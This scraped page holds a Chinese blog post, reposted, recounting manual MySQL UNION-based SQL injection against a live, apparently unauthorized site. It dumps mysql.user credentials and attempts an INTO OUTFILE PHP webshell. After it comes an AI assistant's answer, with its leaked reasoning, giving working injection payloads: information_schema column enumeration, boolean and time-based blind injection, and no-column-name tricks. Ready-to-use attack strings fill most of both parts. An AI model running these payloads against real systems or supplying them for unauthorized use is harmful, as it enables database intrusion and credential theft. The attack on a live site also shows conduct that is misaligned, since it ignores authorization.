记一次MySQL手工注入

本文介绍了一次手工SQL注入攻击的过程,包括检测注入点、爆破数据库、表名、字段及数据等步骤,并探讨了利用SQL注入写入木马的条件。

本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎)

小站没有上WAF,用1=1、1=2就可以检测注入点,就不放截图了。

然后order by 、联合查询什么的也都是基本操作。。直接进入最关键的手工爆表好了。(已知第二列和第三列有回显,MySQL version是5.6,所以直接从information_schema中就可以方便的查询)

1、爆其他数据库;

查询语句为:xxx?id=-4 union select 1,SCHEMA_NAME,3,4,5,6,7,8 FROM information_schema.schemata

页面返回为:

2、爆其他表(数据库选择刚才爆出的mysql)

查询语句为:xxx?id=-4 union select 1,TABLE_NAME,3,4,5,6,7,8 FROM information_schema.tables WHERE TABLE_SCHEMA=0x6d7973716c


这里的0x6d7973716c是mysql的十六进制表示,如果直接写mysql字符串的话数据库是不能解析的,所以要传递16进制形式的数据库名

这里有很多表,我们只需关注user表就可以,其实其他的表也会存放一些敏感数据,比如该网站的注册会员的登录信息等等,但我们目标是服务器。

3、爆字段

查询语句为:xxx?id=-4 union select 1,COLUMN_NAME,3,4,5,6,7,8 FROM information_schema.columns WHERE TABLE_NAME=0x75736572

同理,0x75736572是user表的十六进制表示。

这里我们可能关心的是以上三列的数据,user、password、host,让我们进行最后的爆数据吧!

4、爆数据

查询语句为:xxx?id=-4 union select 1,concat_ws(0x2c,User,Password,Host),3,4,5,6,7,8 FROM mysql.user

由于我要查询的有三列数据,所以这里我用了concat_ws函数进行拼接后输出,0x2c是逗号

 

 

 done,手工测试到此完成,可以说是非常非常普通的正规思路了,没有一点绕过的地方直接搞就行了。

其实这里我尝试用into outfile写php的一句话木马,但是发现没有成功,编码也不行,一直报mysql_fetch_array(): supplied argument is not a valid MySQL result resource的错误。

 查了一些资料,使用mysql直接写入木马的必要条件有三:

1、root权限(排除)

2、知道网站根目录的地址(排除,从随便一个报错信息中都可以爆出物理绝对路径)

3、magic_quotes_gpc()=OFF(有可能)

4、没有write权限(有可能)

 用sqlmap跑下试试,看来的确如此

大概就这些吧。

#########################

 谁能告诉我为什么发布以后布局这么丑,蛋疼

转载于:https://www.cnblogs.com/co10rway/p/7979750.html

<think> 首先,用户的问题是关于在MySQL中进行SQL注入时获取一个表全部列名的方法。用户提供了几个引用,我需要参考这些引用来构建回答。 回顾引用内容: - 引用[1]:讨论了SQL注入绕过正则及无列名注入,提到使用像`mysql.innodb_table_stats`之类的表来查出数据库名和表名,但查不出列名。然后提到通过连接特性一个一个取列名,或者使用无列名注入的方法,如`select 1,2,3,4,5 union select * from users;`,避免需要知道列名。 - 引用[2]:类似地,讨论了无列名注入,提到替代`information_schema`的系统表如`sys.schema_auto_increment_columns`等,用于在数据库名/表名/列名未知时寻找列名。 - 引用[3]:描述了SQL盲注获取数据库的表名、列名和数据的过程。具体包括使用`information_schema.columns`来获取列名,通过布尔盲注或时间盲注逐个字符推断。 - 引用[4]:展示了一个实际例子,使用`information_schema.COLUMNS`来查询特定表的列名。 用户的问题是:“我想了解在MySQL中进行SQL注入时获取一个表全部列名的方法”。所以,我需要总结获取MySQL表全部列名的SQL注入方法。 从引用中提取关键方法: 1. **使用`information_schema.columns`** :这是最常见的方法。引用[3]和[4]都提到了它。例如: - 查询特定表的列名:`SELECT column_name FROM information_schema.columns WHERE table_name = '表名'` - 在注入中,可以使用盲注来推断列名。 2. **无列名注入** :引用[1]和[2]讨论了这种方法,它避免直接查询`information_schema`,而是使用其他方式如连接特性或`union select *`来获取数据而不需要列名。 3. **替代系统表** :引用[2]提到在`information_schema`不可用时,使用其他系统表如`sys.schema_auto_increment_columns`或`mysql.innodb_table_stats`,但这些表可能只提供表名,不直接提供列名。 用户指定了“获取一个表全部列名的方法”,所以我应该专注于获取列名的具体技术。 结构化我的回答: - 由于系统指令要求使用中文回答,结构清晰。 - 包括行内数学表达式使用`$...$`,但这里可能不需要数学公式,除非涉及计算。 - 独立公式使用`$$...$$`,但SQL查询更适合用代码块。 - 生成相关问题在末尾。 - 在引用段落末尾添加引用标识,如[^1]。 回答结构: 1. **引言** :简要解释SQL注入中获取列名的重要性。 2. **主要方法** : a. **基于`information_schema.columns`的方法** :详细描述如何使用这个系统表查询列名,包括示例SQL注入语句。 b. **无列名注入方法** :解释如何在不查询列名的情况下访问数据。 c. **其他替代方法** :如果`information_schema`被屏蔽时的替代方案。 3. **安全注意事项** :提醒用户SQL注入是攻击行为,仅用于学习目的。 4. **相关问题** :生成几个相关问题。 生成相关问题: - 例如:如何绕过`information_schema`的限制?如何防范SQL注入?无列名注入的具体实现? 确保参考引用: - 在描述方法时,自然地添加引用标识,如[^1]、[^2]等,对应于提供的引用。 示例引用: - 当提到使用`information_schema.columns`时,参考引用[3]和[4]。 - 当讨论无列名注入时,参考引用[1]和[2]。 完整回答大纲: 1. **获取列名的方法** - **方法一:使用`information_schema.columns`系统表** - 描述:通过查询`information_schema.columns`表来获取指定表的所有列名。 - 示例注入语句:`SELECT column_name FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = '表名'` - 在盲注中,使用如`AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='表名' LIMIT 1)='a'`来逐个字符推断[^3][^4]。 - **方法二:无列名注入** - 描述:避免查询列名,直接通过连接特性或`union select *`来访问数据。 - 示例:`SELECT 1,2,3,4,5 UNION SELECT * FROM users;` 这不需要知道列名[^1]。 - **方法三:替代系统表** - 描述:当`information_schema`不可用时,使用像`sys.schema_auto_increment_columns`的表,但可能只能获取表名,不能直接获取列名[^2]。需要间接方法。 2. **总结** - 强调获取列名的常见方式。 3. **相关问题** - 生成3-4个相关问题。 最后,确保回答真实可靠,基于提供的引用。 </think> ### MySQL SQL注入中获取表全部列名的方法 在SQL注入攻击中,获取数据库表的结构(包括列名)是渗透测试的关键步骤。以下是基于MySQL数据库的常用方法,参考了您提供的引用资料。我将从易到难梳理获取一个表全部列名的技术,包括标准方法和替代方案。重点聚焦于`information_schema.columns`系统表和无列名注入技术。 #### 1. **使用`information_schema.columns`系统表(最常用方法)** MySQL的`information_schema.columns`表存储所有表和列的元数据。通过注入查询该表,可直接获取指定表的全部列名。 - **基本注入语句**: ```sql SELECT column_name FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = '表名' ``` 示例注入(如URL参数注入): `http://example.com/page?id=-1' UNION SELECT 1, group_concat(column_name separator ';'), 3 FROM information_schema.columns WHERE table_name='users'-- -` 这会返回所有列名拼接的字符串(如`id;username;password`)[^3][^4]。 - **在盲注场景下(无直接输出时)**: 使用布尔盲注或时间盲注逐个字符推断列名: - 布尔盲注:`id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'` 通过变换`SUBSTRING`参数逐个字符猜测列名[^3]。 - 时间盲注:`id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)` 如果第一个字符是`u`(ASCII值117),则延迟5秒响应[^3]。 逐步增加`OFFSET`值遍历所有列名(如`LIMIT 1 OFFSET 0`、`OFFSET 1`等)。 #### 2. **无列名注入(当`information_schema`不可用时)** 如果目标系统屏蔽了`information_schema`(如WAF规则过滤),可使用无列名注入技术间接访问数据,无需查询列名。 - **基于`UNION SELECT *`的方法**: 通过`UNION`查询匹配列数,直接访问数据而不依赖列名: ```sql SELECT 1,2,3 UNION SELECT * FROM users; ``` 这里的`1,2,3`需匹配目标表列数(需提前确定列数),返回结果会显示数据,从而绕过列名查询[^1]。 - **使用连接特性或别名**: 结合`JOIN`或子查询匿名访问列: ```sql SELECT x.1, x.2 FROM (SELECT * FROM users) x; ``` 通过`x.1`、`x.2`等引用列位置,间接获取数据[^1]。 #### 3. **替代系统表方法(如`information_schema`被禁用)** 某些MySQL版本或配置下,可用其他系统表替代`information_schema`,但这些表通常只提供表名而非列名,需进一步注入: - **查询表名**:使用表如`mysql.innodb_table_stats`或`sys.schema_auto_increment_columns`: ```sql SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE(); ``` 获取表名后,仍需通过`information_schema.columns`或盲注获取列名[^1][^2]。 - **间接获取列名**: 如果替代表无效,通过猜测或错误消息推导列名(如触发`Unknown column`错误)。 #### 安全注意事项 - **仅用于授权测试**:SQL注入是攻击行为,以上方法应在合法渗透测试中使用,避免非法入侵。 - **防范措施**:开发中应使用参数化查询(如Prepared Statements)过滤输入,禁用敏感系统表访问。 ### 相关问题 1. 如何在`information_schema`被屏蔽时获取MySQL列名? 2. 无列名注入的具体实现步骤有哪些? 3. SQL盲注中如何高效推断表结构和数据? 4. 如何配置MySQL以防范列名泄露的SQL注入攻击? [^1]: SQL注入绕过正则及无列名注入总结。 [^2]: sql注入之无列名注入总结。 [^3]: sql盲注获取数据库的表名、列名和具体数据流程。 [^4]: 一次墨者mysql手工sql注入示例。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值